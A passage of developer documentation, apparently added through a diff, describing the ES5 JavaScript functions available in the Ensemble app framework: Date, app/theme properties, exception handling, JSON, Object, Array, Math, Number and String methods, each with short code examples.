to local time. +Syntax: dateObj.setFullYear(yearValue) +Parameters: +yearValue: An integer specifying the numeric value of the year, e.g., 1995. +Example: +```js +var date = new Date(); +date.setFullYear(2024); +``` +### setHours() +Description: Sets the hours for a specified date according to local time. +Syntax: dateObj.setHours(hoursValue) +Parameters: +hoursValue: An integer from 0 to 23, representing the hour. +Example: +```js +var date = new Date(); +date.setHours(13); +``` +### setMinutes() +Description: Sets the minutes for a specified date according to local time. +Syntax: dateObj.setMinutes(minutesValue) +Parameters: +minutesValue: An integer from 0 to 59, representing the minutes. +Example: +```js +var date = new Date(); +date.setMinutes(45); +``` +### setUTCDate() +Description: Sets the day of the month for a specified date according to UTC. +Syntax: dateObj.setUTCDate(dayValue) +Parameters: +dayValue: An integer from 1 to 31, representing the day of the month. +Example: +```js +var date = new Date(); +date.setUTCDate(15); +``` +### setUTCMonth() +Description: Sets the month for a specified date according to UTC. +Syntax: dateObj.setUTCMonth(monthValue) +Parameters: +monthValue: An integer from 0 (January) to 11 (December) representing the month. +Example: +```js +var date = new Date(); +date.setUTCMonth(5); // Sets the month to June +``` +### setUTCFullYear() +Description: Sets the full year for a specified date according to UTC. +Syntax: dateObj.setUTCFullYear(yearValue) +Parameters: +yearValue: An integer specifying the numeric value of the year, e.g., 1995. +Example: +```js +var date = new Date(); +date.setUTCFullYear(2024); +``` +### setUTCHours() +Description: Sets the hours for a specified date according to UTC. +Syntax: dateObj.setUTCHours(hoursValue) +Parameters: +hoursValue: An integer from 0 to 23, representing the hour. +Example: +```js +var date = new Date(); +date.setUTCHours(13); +``` +### setUTCMinutes() +Description: Sets the minutes for a specified date according to UTC. +Syntax: dateObj.setUTCMinutes(minutesValue) +Parameters: +minutesValue: An integer from 0 to 59, representing the minutes. +Example: +```js +var date = new Date(); +date.setUTCMinutes(45); +``` +### setUTCSeconds() +Description: Sets the seconds for a specified date according to UTC. +Syntax: dateObj.setUTCSeconds(secondsValue) +Parameters: +secondsValue: An integer from 0 to 59, representing the seconds. +Example: +```js +var date = new Date(); +date.setUTCSeconds(30); +``` +### setUTCMilliseconds() +Description: Sets the milliseconds for a specified date according to UTC. +Syntax: dateObj.setUTCMilliseconds(millisecondsValue) +Parameters: +millisecondsValue: An integer from 0 to 999, representing the milliseconds. +Example: +```js +var date = new Date(); +date.setUTCMilliseconds(500); +``` + +## UTC Methods +These methods are similar to their local-time counterparts but use UTC time instead of local time. +### getUTCFullYear() +Example: +```js +var date = new Date(); +var utcFullYear = date.getUTCFullYear(); +console.log(utcFullYear); // Example output: 2022 +``` +### getUTCMonth() +Example: +```js +var date = new Date(); +var utcMonth = date.getUTCMonth(); +console.log(utcMonth); // Example output: 5 (for June) +``` +### getUTCDate() +Example: +```js +var date = new Date(); +var utcDate = date.getUTCDate(); +console.log(utcDate); // Example output: 2 +``` +### getUTCHours() +Example: +```js +var date = new Date(); +var utcHours = date.getUTCHours(); +console.log(utcHours); // Example output: 10 +``` +### getUTCMinutes() +Example: +```js +var date = new Date(); +var utcMinutes = date.getUTCMinutes(); +console.log(utcMinutes); // Example output: 49 +``` +### getUTCSeconds() +Example: +```js +var date = new Date(); +var utcSeconds = date.getUTCSeconds(); +console.log(utcSeconds); // Example output: 7 +``` +### getUTCMilliseconds() +Example: +```js +var date = new Date(); +var utcMilliseconds = date.getUTCMilliseconds(); +console.log(utcMilliseconds); // Example output: 521 +``` +### getUTCDay() +Example: +```js +var date = new Date(); +var utcDay = date.getUTCDay(); +console.log(utcDay); // Example output: 4 (for Thursday) +``` +## Arithmatic Operations with Date +You can use a Date object as a primitive and add, subtract, multiply etc. as follows. +Example +```js +var date = new Date(2022, 5, 2, 10, 49, 7, 521); +var yesterday = date - 1000 * 60 * 60 * 24; // current date's milliseconds - 1,000 ms * 60 s * 60 mins * 24 hrs * (# of days beyond one to go back) +yesterday = new Date(yesterday); +console.log(yesterday); //Example output: 1 +``` + +--- + +# Ensemble Objects and their properties + +# The `app` object +`app` object provides app and theme configuration related properties and methods. +## Properties + +### baseUrl +Returns the `baseUrl` if one is specified in configuration. NOTE: `baseUrl` cannot be set and can only be retrieved. +```yaml +API: + myAPI: + url: ${app.baseUrl}/path/file.json +``` +or in js - +```js +var url = app.baseUrl; +``` +### useMockResponse +Sets or Returns the value of `useMockResponse`. See [this](https://docs.ensembleui.com/#/build/use-mock-api-response?id=mocking-api-responses-to-develop-and-test-your-app) for details on how to mock responses for your APIs during development or testing. +```js +app.useMockResponse = true; +var isInMockResponseMode = app.useMockResponse; //returns true +``` +### Theme +Sets or Returns the value of the current theme. See [this](#theme) for details on how themes work and how to set/get a theme. + +### Themes +Returns the current set of themes that were configured in the app. NOTE: you can only retrieve the list of pre-configured themes, you cannot add to the list or set the list to a different list. + +See [this](#checking-and-switching-themes-in-javascript) on how to configure multiple themes. + +**Example:** + +Bind the `themes` to a dropdown and let user switch themes from all the available themes. +```yaml + - Dropdown: + label: Pick a Theme + items: ${app.themes} + value: ${app.theme} + onChange: + executeCode: + body: | + app.theme = this.value; +``` +## Methods +### saveTheme +Saves the theme name passed as argument into the persistent storage. This theme is then automatically applied on the next re-launch of the app. See [this](#savings-themes-in-storage-so-they-can-be-applied-across-application-sessions) for details. + +### getSavedTheme +Retrieves the saved theme. See [this](#savings-themes-in-storage-so-they-can-be-applied-across-application-sessions) for details. + +### removeSavedTheme +Clear out the saved theme. See [this](#savings-themes-in-storage-so-they-can-be-applied-across-application-sessions) for details. + +--- + +# Exception Handling in Javascript + +Ensemble supports try/catch/finally in ES5 and the throw clause as well. In JavaScript ES5, the try/catch/finally structure, along with the throw statement, provides robust error-handling capabilities. These constructs allow developers to handle runtime errors gracefully, ensuring that code can respond to unexpected issues without crashing. + +The try block contains code that might throw an error, and if an error occurs, control immediately moves to the catch block, where the error can be handled. + +The finally block, which is optional, executes regardless of whether an error was caught, making it useful for cleanup tasks (like closing connections or freeing up resources). + +The throw statement allows you to generate custom errors by “throwing” an error that can be caught by catch. This is particularly useful for input validation and other scenarios where specific conditions need to be enforced. + +In the following example, the function `divide` is throwing an error that is then caught in the catch clause and a toast message is shown. + +```yaml +View: + styles: + useSafeArea: true + + # Optional - set the header for the screen + header: + titleText: Home + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: Hi there! + - Button: + label: Checkout Ensemble Kitchen Sink + onTap: + executeCode: + body: |- + try { + console.log(divide(10, 0)); // Will throw an error + } catch (error) { + console.log("Caught an error: " + error.message); + var payload = { + message: error.message, + options: { + type: 'error', + duration: 3, + alignment: 'bottomRight' + } + }; + ensemble.showToast(payload); + } finally { + console.log("Execution completed."); + } + +Global: |- + // Javascript code + function divide(a, b) { + if (b === 0) { + throw new Error("Division by zero is not allowed"); // Custom error + //You can just throw a string as well as follows - + //throw "Division by zero is not allowed"; + } + return a / b; + } + +``` + +--- + +# Defining and Re-using Javascript Code + +There are two ways to re-use js code as follows - + +- `Global` block within a screen definition. This, despite its name, is limited to the screen it is defined in and cannot be referenced in other screens +- `Scripts` a script that is defined independent of a screen (see video below) may be used anywhere in the app by simply importing it. + +In both cases above, you can define javascript variables (only `var` is supported as this is ES5, see [here](#add-logic-using-javascript)) or functions. + +## Example of `Global` code block within a screen + +```yaml +View: + #your screen definition +Global: |- + //code block + function sum(a,b) { + return a + b; + } +``` + +## Example of re-usable `Script` defined outside a screen and imported in any screen or widget +A script defined outside a screen, however, can be imported on any screen or widget across the app by simply doing - + +```yaml +Import: + - myScript +``` +Watch the following video for how to define a js library and re-use it across the app + +## Demo + +
    + +--- + +- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities +- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) + +For `parseInt`, `parseFloat`, see [String.tryParseInt](#string-functions) and [String.tryParseDouble](#string-functions) respectively. + +### console.log + +The `console.log()` function is used to print messages to the console. It can be used for debugging purposes or to display information. + +**Example:** + +```javascript +console.log("Hello, World!"); // Output: Hello, World! +``` + +### regexp.test + +The `regexp.test()` function is used to test if a given string matches a regular expression pattern. It returns `true` if the string matches the pattern, and `false` otherwise. + +**Example:** + +```javascript +var pattern = /hello/; +var str = "Hello, World!"; +console.log(pattern.test(str)); // Output: false +str = "hello, how are you?"; +console.log(pattern.test(str)); // Output: true +``` +### btoa + +The `btoa()` function is used to encode a string in base64 format. It takes a string as input and returns a base64 encoded string. + +**Example:** + +```javascript +var str = "Hello, World!"; +console.log(btoa(str)); // Output: SGVsbG8sIFdvcmxkIQ== +``` + +### atob + +The `atob()` function is used to decode a base64 encoded string. It takes a base64 encoded string as input and returns the decoded string. + +**Example:** + +```javascript +var base64Str = "SGVsbG8sIFdvcmxkIQ=="; +console.log(atob(base64Str)); // Output: Hello, World! +``` +### encodeURIComponent +The `encodeURIComponent(str)` function encodes a URI component by escaping all characters except alphabetic characters, decimal digits, and a few special characters (-, _, ., !, ~, *, ', (, )). It is used to encode the values of query string parameters to ensure special characters do not interfere with the way the URI is interpreted by browsers and servers. For example, it encodes spaces as %20 and = as %3D. +[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent) + +**Example:** +```javascript +var myParam = 'This & That'; +var encodedParam = encodeURIComponent(myParam); +console.log(encodedParam); // Outputs: This%20%26%20That +``` +### decodeURIComponent +`decodeURIComponent(str)` function decodes a URI component previously created by encodeURIComponent or by a similar routine. It reverses the encoding process by replacing percent-encoded characters with their corresponding ASCII characters. +[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURIComponent) + +**Example:** +```javascript +var decodedParam = decodeURIComponent(encodedParam); +console.log(decodedParam); // Outputs: This & That +``` + +### encodeURI +`encodeURI(uri)`: Unlike encodeURIComponent, this function is intended to encode a complete URI without escaping characters that have special meanings in URIs (like :, /, ?, &, =). It encodes the necessary components of the URI to make it safe for transmission by escaping all characters except those considered safe. +[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI) + +**Example:** +```javascript +var uri = 'https://mozilla.org/?x=шеллы'; +var encoded = encodeURI(uri); +console.log(encoded); +// Expected output: "https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B" +``` + +### decodeURI +`decodeURI(encodedURI)`: This function is used to decode a URI that was previously encoded using encodeURI. It decodes the entire URI but will not decode characters that are part of the URI syntax itself (like ? and # in query strings and fragments). +[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURI) + +**Example:** +```javascript +var uri = 'https://mozilla.org/?x=шеллы'; +var encoded = encodeURI(uri); +console.log(encoded); +// Expected output: "https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B" + +console.log(decodeURI(encoded)); +// Expected output: "https://mozilla.org/?x=шеллы" + +``` + +--- + +# JSON +Ensemble Javascript provides two key methods to deal with the JSON objects. + +## Methods +### parse() +The JSON.parse() static method parses a JSON string, constructing the JavaScript object described by the string. + +#### Returns +Returns a Javascript object + +Example - +```js +const json = '{"result":true, "count":42}'; +const obj = JSON.parse(json); + +console.log(obj.count); +// Expected output: 42 + +console.log(obj.result); +// Expected output: true +``` +### stringify() +The JSON.stringify() static method converts a JavaScript value to a JSON string. + +Types that are directly converted to json strings - string, number, array, object (map), boolean and date. Date objects are converted to string by calling the [toISOString()](#toisostring) method. + +#### Returns +Returns a string representing the json object + +Example - +```js +console.log(JSON.stringify({ x: 5, y: 6 })); +// Expected output: '{"x":5,"y":6}' +``` + +--- + +# JsonPath + +TBD + +--- + +# Object +Any property of a javascript object may be accessed using either the parenthesis `['propname']` or the dot `myObj.propname`. + +- It the property does not exist on the object, it will return null. Exception will *not* be thrown. +- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities +- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) + +## Constructor + +```js +var obj = {a: 1, b: 'abc'};//creates a new object with properties a and b +var obj2 = new Object(); //creates a new empty object +obj2['a'] = 1; //adds property a to the object +obj2['b'] = 'abc'; +``` + +## Static Methods +### Object.keys(value) +See Object.keys in javascript. Returns an array of a given object's own enumerable property names. + +Example - +```js +var result = Object.keys({a: 1, b: 2, c: 3}); +// result: ['a', 'b', 'c'] +``` +### Object.values(value) +See Object.values in javascript. Returns an array of a given object's own enumerable property values. +Example - +```js +var result = Object.values({a: 1, b: 2, c: 3}); +// result: [1, 2, 3] +``` +### Object.entries(value) +See Object.entries in javascript. Returns an array of a given object's own enumerable property [key, value] pairs. +Example - +```js +var result = Object.entries({a: 1, b: 2, c: 3}); +// result: [['a', 1], ['b', 2], ['c', 3]] +``` + +### hasOwnProperty(value, key) + +Checks if the provided key exists as an own property of the object. + +Example - +```js +var obj = { a: 1, b: 2 }; +var result = hasOwnProperty(obj, 'a'); +// result: true +``` + +### getPropertyNames(value) + +Retrieves an array of all enumerable property names (keys) of the object. + +Example - +```js +var obj = { a: 1, b: 2, c: 3 }; +var result = getPropertyNames(obj); +// result: ['a', 'b', 'c'] +``` + +### toString(value) + +Converts the value to a string representation. + +Example - + +```js +var obj = { a: 1, b: 2 }; +var result = toString(obj); +// result: '[object Object]' +``` + +### toJSON(value) + +Converts the value into a JSON string. Works with objects, arrays, or other types. + +Example - +```js +var obj = { a: 1, b: 2 }; +var result = toJSON(obj); +// result: '{"a":1,"b":2}' +``` + +### defineProperty(value, key, property) + +Defines a new property on the object or updates an existing one. If the value is not an object, this function does nothing. + +Example - +```js +var obj = { a: 1 }; +var result = defineProperty(obj, 'b', 2); +// result: { a: 1, b: 2 } +``` + +### deleteProperty(value, key) + +Deletes the specified property from the object. If the key does not exist, it does nothing. + +Example - +```js +var obj = { a: 1, b: 2 }; +var result = deleteProperty(obj, 'b'); +// result: { a: 1 } +``` + +### has(value, key) + +Checks if the specified key exists in the object. Works like hasOwnProperty. + +Example - +```js +var obj = { a: 1, b: 2 }; +var result = has(obj, 'b'); +// result: true +``` + +### propertyIsEnumerable(value, key) + +Checks if the given property key is enumerable in the object. + +Example - +```js +var obj = { a: 1, b: 2 }; +var result = propertyIsEnumerable(obj, 'a'); +// result: true +``` + +## Instance Methods +### keys() +Just like the Object.keys() method in javascript. Returns an array containing the keys (propery names) of an object. + +#### Returns +Returns an array containing the keys (propery names) of an object. + +Example - +```js +var headers = {}; +headers['abc'] = 'xyz'; +headers['def'] = 123; +headers['ghi'] = '456'; +var keys = headers.keys(); +keys.forEach(function(key) { + console.log(key + ':' + headers[key]); +}); +/* outputs +abc:xyz +def:123 +ghi:456 +*/ +``` +### values() +Just like the Object.values() method in javascript. Returns an array containing the values (propery values) of an object. + +#### Returns +Returns an array containing the values (propery values) of an object. + +Example - +```js +var headers = {}; +headers['abc'] = 'xyz'; +headers['def'] = 123; +headers['ghi'] = '456'; +headers.values().forEach(function(val) { + console.log(val); +}); +/* outputs +xyz +123 +456 +*/ +``` +### entries() +Just like the Object.entries() method in javascript. Returns an array containing the entries of an object where each entry is an object - {key:,value:} + +#### Returns +Returns an array containing the values (propery values) of an object. + +Example - +```js +var headers = {}; +headers['abc'] = 'xyz'; +headers['def'] = 123; +headers['ghi'] = '456'; +headers.entries().forEach(function(entry) { + console.log(entry.key + ':' + entry.value); +}); +/* outputs +abc:xyz +def:123 +ghi:456 +*/ +``` +### path(jsonPath,mapFunction) +The `path` method is a function that takes a JSON path as a string and an optional mapping function as arguments. The function traverses the object using the provided path and returns a list of the values found at that path. + +The optional mapFunction argument is a function that transforms the values found at the JSON path. If a mapFunction is provided, it is applied to each value found at the path. + +#### Parameters +jsonPath (String): The JSON path at which to look for values.
    +mapFunction (Function, optional): A function to transform the values found at the path. This function is called with one argument: a list containing the current value. Pass `null` if not needed + +#### Returns +A list of values found at the specified JSON path. If mapFunction is provided, the list will contain the transformed values. + +Example - +```js +var obj = { + 'name': 'John', + 'age': 30, + 'city': 'New York' +}; + +var result = obj.path('$.name', (val) => val[0].toUpperCase()); +console.log(result); // Outputs: ["J"] +``` +# Array +Arrays behave exactly as they would in regular javascript. You can access an item in the array with the index e.g. `myArray[0]` +- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities +- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) + +## Properties +### length +Returns the length of the array. Works exactly like the javascript arrays. + +**Example:** + +```javascript +var numbers = [1, 4, 9]; +console.log(roots.length); // 3 +``` + +## Methods +### map + +The `map()` method creates a new array populated with the results of calling a provided function on every element in the calling array. + +**Parameters:** + +- `callback`: Function that produces an element of the new array, taking two arguments: + - `currentValue`: The current element being processed in the array. + - `index`: The index of the current element being processed in the array. + +**Return value:** + +A new array with each element being the result of the callback function. + +**Example:** + +```javascript +var numbers = [1, 4, 9]; +var squares = numbers.map(function(num, index) { + return num * num; +}); +console.log(squares); // [1, 16, 81] +``` + +### forEach + +Executes a provided function once for each array element. + +**Parameters:** + +- `callback`: Function to execute on each element, taking two arguments: + - `currentValue`: The current element being processed. + - `index`: The index of the current element being processed. + +**Return value:** + +`undefined`. + +**Example:** + +```javascript +var numbers = [1, 2, 3]; +numbers.forEach(function(num, index) { + console.log('Number:', num, 'at index:', index); +}); +``` + +### reduce + +The `reduce()` method executes a reducer function on each element of the array, resulting in a single output value. + +**Parameters:** + +- `callback`: A function to execute on each element in the array (except for the first, if no initialValue is provided), taking four arguments: + - `accumulator`: The accumulator accumulates the callback's return values. + - `currentValue`: The current element being processed. +- `initialValue` (optional): A value to use as the first argument to the first call of the callback. + +**Return value:** + +The single value that results from the reduction. + +**Example:** + +```javascript +var numbers = [1, 2, 3, 4]; +var sum = numbers.reduce(function(total, num) { + return total + num; +}, 0); +console.log(sum); // 10 +``` + +### indexOf + +Returns the first index at which a given element can be found in the array, or -1 if it is not present. + +**Parameters:** + +- `searchElement`: The element to locate in the array. + +**Return value:** + +The first index of the element in the array; -1 if not found. + +**Example:** + +```javascript +var fruits = ['apple', 'banana', 'cantaloupe', 'blueberry']; +var index = fruits.indexOf('banana'); +console.log(index); // 1 +``` + +### join + +Joins all elements of an array into a string. + +**Parameters:** + +- `separator` (optional): Specifies a string to separate each pair of adjacent elements of the array. The separator is converted to a string if necessary. If omitted, the array elements are separated with a comma. + +**Return value:** + +A string with all array elements joined. + +**Example:** + +```javascript +var elements = ['Fire', 'Air', 'Water']; +console.log(elements.join()); // "Fire,Air,Water" +console.log(elements.join('')); // "FireAirWater" +console.log(elements.join('-')); // "Fire-Air-Water" +``` + +### pop + +Removes the last element from an array and returns that element. This method changes the length of the array. + +**Parameters:** + +None. + +**Return value:** + +The removed element from the array; `undefined` if the array is empty. + +**Example:** + +```javascript +var plants = ['broccoli', 'cauliflower', 'cabbage', 'kale', 'tomato']; +console.log(plants.pop()); // "tomato" +console.log(plants); // ["broccoli", "cauliflower", "cabbage", "kale"] +``` + +### push + +Adds one or more elements to the end of an array and returns the new length of the array. + +**Parameters:** + +- `elementN`: The elements to add to the end of the array. + +**Return value:** + +The new length of the array. + +**Example:** + +```javascript +var animals = ['pigs', 'goats', 'sheep']; +var count = animals.push('cows'); +console.log(count); // 4 +console.log(animals); // ["pigs", "goats", "sheep", "cows"] +``` + +### slice + +The `slice()` method returns a shallow copy of a portion of an array into a new array object selected from `start` to `end` (end not included) where `start` and `end` represent the index of items in that array. The original array will not be modified. + +**Parameters:** + +- `start`: Zero-based index at which to start extraction. +- `end` (optional): Zero-based index before which to end extraction. The slice extracts up to but not including `end`. + +**Return value:** + +A new array containing the extracted elements. + +**Example:** + +```javascript +var fruits = ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango']; +var citrus = fruits.slice(1, 3); +console.log(citrus); // ['Orange', 'Lemon'] +``` + +### some + +The `some()` method tests whether at least one element in the array passes the test implemented by the provided function. It returns a Boolean value. + +**Parameters:** + +- `callback`: Function to test for each element, taking one argument: + - `currentValue`: The current element being processed in the array. + +**Return value:** + +`true` if the callback function returns a truthy value for any array element; otherwise, `false`. + +**Example:** + +```javascript +var array = [1, 2, 3, 4, 5]; +var even = function(element) { + return element % 2 === 0; +}; +console.log(array.some(even)); // true +``` + +### every + +The `every()` method tests whether all elements in the array pass the test implemented by the provided function. It returns a Boolean value. + +**Parameters:** + +- `callback`: Function to test for each element, taking one argument: + - `currentValue`: The current element being processed in the array. + +**Return value:** + +`true` if the callback function returns a truthy value for every array element; otherwise, `false`. + +**Example:** + +```javascript +var isBelowThreshold = function(currentValue) { + return currentValue < 40; +}; +var array = [1, 30, 39, 29, 10, 13]; +console.log(array.every(isBelowThreshold)); // true +``` + +### findIndex + +The `findIndex()` method returns the index of the first element in the array that satisfies the provided testing function. Otherwise, it returns -1, indicating that no element passed the test. + +**Parameters:** + +- `callback`: Function to execute on each value in the array, taking one argument: + - `currentValue`: The current element being processed. + +**Return value:** + +The index of the first element in the array that passes the test; otherwise, -1. + +**Example:** + +```javascript +var array = [5, 12, 8, 130, 44]; +var isLargeNumber = function(element) { + return element > 13; +}; +console.log(array.findIndex(isLargeNumber)); // 3 +``` + +### fill + +The `fill()` method changes all elements in an array to a static value, from a start index (default zero) to an end index (default array.length). It returns the modified array. + +**Parameters:** + +- `value`: Value to fill the array with. +- `start` (optional): Start index, default 0. +- `end` (optional): End index, default array length. + +**Return value:** + +The modified array. + +**Example:** + +```javascript +var array = [1, 2, 3, 4]; +console.log(array.fill(0, 2, 4)); // [1, 2, 0, 0] +console.log(array.fill(5, 1)); // [1, 5, 5, 5] +console.log(array.fill(6)); // [6, 6, 6, 6] +``` + +### shift + +The `shift()` method removes the first element from an array and returns that removed element. This method changes the length of the array. + +**Parameters:** + +None. + +**Return value:** + +The removed element from the array; `null` if the array is empty. + +**Example:** + +```javascript +var myFish = ['angel', 'clown', 'mandarin', 'surgeon']; +console.log('Before:', JSON.stringify(myFish)); +var shifted = myFish.shift(); +console.log('After:', JSON.stringify(myFish)); +console.log('Removed:', shifted); +// Before: ["angel", "clown", "mandarin", "surgeon"] +// After: ["clown", "mandarin", "surgeon"] +// Removed: angel +``` + +### unshift + +The `unshift()` method adds one or more elements to the beginning of an array and returns the new length of the array. + +**Parameters:** + +- `...elements`: The elements to add to the front of the array. + +**Return value:** + +The new length of the array. + +**Example:** + +```javascript +var myArray = [1, 2, 3]; +console.log(myArray.unshift(4, 5)); // 5 +console.log(myArray); // [4, 5, 1, 2, 3] +``` + +### splice + +The `splice()` method changes the contents of an array by removing or replacing existing elements and/or adding new elements in place. + +**Parameters:** + +- `start`: The index at which to start changing the array. +- `deleteCount`: The number of elements in the array to remove from `start`. +- `...items`: The elements to add to the array, beginning from `start`. + +**Return value:** + +An array containing the deleted elements. + +**Example:** + +```javascript +var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon']; +var removed = myFish.splice(3, 2); +console.log(myFish); // ["angel", "clown", "drum"] +console.log(removed); // ["mandarin", "sturgeon"] +``` + +### find + +The `find()` method returns the value of the first element in the provided array that satisfies the provided testing function. If no values satisfy the testing function, `-1` is returned. + +**Parameters:** + +- `callback`: A function to execute on each value in the array until the function returns true, indicating that the satisfying element was found. + +**Return value:** + +The first element in the array that passes the test; `-1` if no elements pass the test. + +**Example:** + +```javascript +var array = [5, 12, 8, 130, 44]; +var found = array.find(function(element) { + return element > 10; +}); +console.log(found); // 12 +``` + +### includes + +The `includes()` method determines whether an array includes a certain value among its entries, returning true or false as appropriate. + +**Parameters:** + +- `searchElement`: The element to search for. + +**Return value:** + +`true` if the array includes the element, and `false` otherwise. + +**Example:** + +```javascript +var array = [1, 2, 3]; +console.log(array.includes(2)); // true +console.log(array.includes(4)); // false +``` + +--- + +# JavaScript Math +Provides most of the functions exposed by the [Math library](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math) in JS. + +1. **Math.floor()**: + - Returns the largest integer less than or equal to a given number. + ```javascript + console.log(Math.floor(4.7)); // Output: 4 + ``` + +2. **Math.abs()**: + - Returns the absolute value of a number. + ```javascript + console.log(Math.abs(-4.7)); // Output: 4.7 + ``` + +3. **Math.ceil()**: + - Returns the smallest integer greater than or equal to a given number. + ```javascript + console.log(Math.ceil(4.4)); // Output: 5 + ``` + +4. **Math.round()**: + - Rounds a number to the nearest integer. + ```javascript + console.log(Math.round(4.4)); // Output: 4 + ``` + +5. **Math.trunc()**: + - Truncates the decimal part of a number, returning the integer part. + ```javascript + console.log(Math.trunc(4.7)); // Output: 4 + ``` + +6. **Math.log()**: + - Returns the natural logarithm (base e) of a number. + ```javascript + console.log(Math.log(10)); // Output: 2.302585092994046 + ``` + +7. **Math.pow()**: + - Returns the base to the exponent power. + ```javascript + console.log(Math.pow(2, 3)); // Output: 8 + ``` + +8. **Math.acos()**: + - Returns the arccosine (in radians) of a number. + ```javascript + console.log(Math.acos(0.5)); // Output: 1.0471975511965979 + ``` + +9. **Math.asin()**: + - Returns the arcsine (in radians) of a number. + ```javascript + console.log(Math.asin(0.5)); // Output: 0.5235987755982989 + ``` + +10. **Math.atan()**: + - Returns the arctangent (in radians) of a number. + ```javascript + console.log(Math.atan(1)); // Output: 0.7853981633974483 + ``` + +11. **Math.atan2()**: + - Returns the arctangent of the quotient of its arguments. + ```javascript + console.log(Math.atan2(1, 1)); // Output: 0.7853981633974483 + ``` + +12. **Math.cos()**: + - Returns the cosine of a number. + ```javascript + console.log(Math.cos(0)); // Output: 1 + ``` + +13. **Math.exp()**: + - Returns e^x, where x is the argument. + ```javascript + console.log(Math.exp(1)); // Output: 2.718281828459045 + ``` + +14. **Math.max()**: + - Returns the largest of zero or more numbers. + ```javascript + console.log(Math.max(10, 20)); // Output: 20 + ``` + +15. **Math.min()**: + - Returns the smallest of zero or more numbers. + ```javascript + console.log(Math.min(10, 20)); // Output: 10 + ``` + +16. **Math.sin()**: + - Returns the sine of a number. + ```javascript + console.log(Math.sin(0)); // Output: 0 + ``` + +17. **Math.sqrt()**: + - Returns the square root of a number. + ```javascript + console.log(Math.sqrt(9)); // Output: 3 + ``` + +18. **Math.tan()**: + - Returns the tangent of a number. + ```javascript + console.log(Math.tan(0)); // Output: 0 + ``` + +19. **Math.random()**: + - Returns a random number between 0 and 1. + ```javascript + console.log(Math.random()); // Output: a random number between 0 and 1 + ``` + +Each of these functions can be called using the `Math` object followed by the function name and the necessary arguments enclosed in parentheses. + +--- + +# Number Functions + +This document covers JavaScript Number functions available in Ensemble with examples. Each function is briefly explained and followed by an example demonstrating its usage. + +### toFixed + +The `toFixed()` method in JavaScript is used to format a number using fixed-point notation. It takes one argument, which is the number of digits to appear after the decimal point. The method returns a string representation of the number with the specified number of decimal places. + +**Syntax:** + +```javascript +numObj.toFixed(digits); +``` + +**Parameters:** + +- `digits`: An integer specifying the number of digits to appear after the decimal point. This is required unlike in js where it is optional. + +**Example:** + +```javascript +var num = 123.456; +var fixedNum = num.toFixed(2); + +console.log(fixedNum); // Output: "123.46" +``` + +In this example, the `toFixed()` method is called on the `num` variable with the argument `2`. This means that the number will be formatted with two decimal places. The result is the string `"123.46"`. + +--- + +### toString + +The `toString()` method in JavaScript is used to convert a number to a string. It can also be used to represent the number in a different base (radix) by providing an optional argument. + +**Syntax:** + +```javascript +numObj.toString([radix]); +``` + +**Parameters:** + +- `radix` (Optional): An integer between 2 and 36 that represents the base to use for representing numeric values. The default value is 10. + +**Example:** + +```javascript +var num = 42; +var numStr = num.toString(); +var numStrInBase16 = num.toString(16); + +console.log(numStr); // Output: "42" +console.log(numStrInBase16); // Output: "2a" +``` + +In this example, the `toString()` method is called on the `num` variable without any arguments, which means that the number will be converted to a string in base 10 (decimal). The result is the string `"42"`. + +The `toString()` method is then called again on the `num` variable, but this time with the argument `16`. This means that the number will be converted to a string in base 16 (hexadecimal). The result is the string `"2a"`. + +--- + +# String Functions + +This document covers JavaScript String functions available in Ensemble with examples. Each function is briefly explained and followed by an example demonstrating its usage. + +- [Code:String in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/bf9e503e-286b-437a-a692-14d0d5814918) has examples for using the String functions. Copy it into your own app and play around. +- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities +- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) + +### length + +The `length` property returns the length of the string + +**Example:** + +```javascript +var str = "Hello"; +var len = str.length; +console.log(len); // 5 +``` + +### indexOf + +The `indexOf()` method returns the index of the first occurrence of the specified value in a string. + +**Example:** + +```javascript +var str = "Hello, world!"; +var index = str.indexOf("world"); +console.log(index); // 7 +``` + +### lastIndexOf + +The `lastIndexOf()` method returns the index of the last occurrence of the specified value in a string. + +**Example:** + +```javascript +var str = "Hello, world! world!"; +var index = str.lastIndexOf("world"); +console.log(index); // 14 +``` + +### charAt + +The `charAt()` method returns the character at the specified index in a string. + +**Example:** + +```javascript +var str = "Hello, world!"; +var char = str.charAt(7); +console.log(char); // 'w' +``` + +### endsWith + +The `endsWith()` method determines whether a string ends with the characters of a specified string. + +**Example:** + +```javascript +var str = "Hello, world!"; +var result = str.endsWith("world!"); +console.log(result); // true +``` + +### includes + +The `includes()` method determines whether a string contains the characters of a specified string. + +**Example:** + +```javascript +var str = "Hello, world!"; +var result = str.includes("world"); +console.log(result); // true +``` + +### toLowerCase + +The `toLowerCase()` method returns the calling string value converted to lowercase. + +**Example:** + +```javascript +var str = "Hello, World!"; +var lowerCaseStr = str.toLowerCase(); +console.log(lowerCaseStr); // "hello, world!" +``` + +### toUpperCase + +The `toUpperCase()` method returns the calling string value converted to uppercase. + +**Example:** + +```javascript +var str = "Hello, World!"; +var upperCaseStr = str.toUpperCase(); +console.log(upperCaseStr); // "HELLO, WORLD!" +``` +### trim +The trim() method removes whitespace from both ends of a string. + +```js +var str = " Hello, world! "; +var result = str.trim(); +console.log(result); // 